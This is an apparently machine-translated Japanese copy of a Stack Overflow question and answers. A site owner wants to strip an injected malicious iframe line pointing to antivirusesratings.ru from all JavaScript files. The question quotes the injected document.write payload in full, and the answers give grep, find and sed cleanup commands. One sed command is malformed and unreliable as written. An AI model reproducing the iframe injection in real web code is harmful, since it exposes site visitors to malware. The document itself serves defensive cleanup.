0

すべてのjsファイル(すべてのサブフォルダーで再帰的に)で文字列を検索し、可能であれば文字列を削除して、処理されたファイルを表示しようとしています(後で確認できます)。

文字列を探すことができました。

grep -lr --include="*.js" "antivirusesratings.ru" .

そしてこれで:(2つの方法の間に違いがあるかどうかわからない?)

find ./ -type f | xargs grep -l "antivirusesratings.ru"

したがって、最後の例は、文字列も削除するように変更できる可能性があります。今、私はそれについて考えます。消去したい文字列には引用符があります。私が本当にどこでも削除しようとしている次の文字列のためにそれを行う方法の手がかりはありません。

;document.write('<iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>')

前もって感謝します。ほんとうにありがとう!

よろしく、

ゴサ

4

3 に答える 3

0

これは、同じ問題を解決する unix.stackexchange.com で見つけた関数です: Deleting Lines Containing a Specified String in Different Files

grepを使用して、特定の文字列を含むすべてのファイルを検索します (これはantivirusesratings.ruあなたのためです)。次に、コマンド (行削除) をsed使用してこれらの結果をパイプ処理し、その文字列を含む行を削除します。d

いつものように、そのスクリプトを実行してファイルを一括置換する前に、必ずディレクトリをバックアップしてください。

于 2012-11-05T19:38:34.700 に答える
0

これがあなたが望むものだと思います:

find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}
于 2012-11-05T19:39:00.740 に答える
0

ssh最後の引数としてコマンドを受け取ることができるので、クリーニングを行うための super-duper-command を提供する必要があります。

findファイルをきれいにするために、の-execパラメータをいくつか組み合わせてgrep、リダイレクトを出力するとよいと思います。

見つかったファイルごとにgrep -v UGLY_LINE $FILE > $FILE、または同様のものを言ってください(IIRCが機能しないファイル自体へのリダイレクトのため、おそらく一時ファイルを使用する必要があると思います)。

リダイレクトで を試してから、grepと組み合わせてfind、最後に (おそらく少しエスケープして) 内に配置してssh、必要なことを行う必要があります。

于 2012-11-05T19:34:45.213 に答える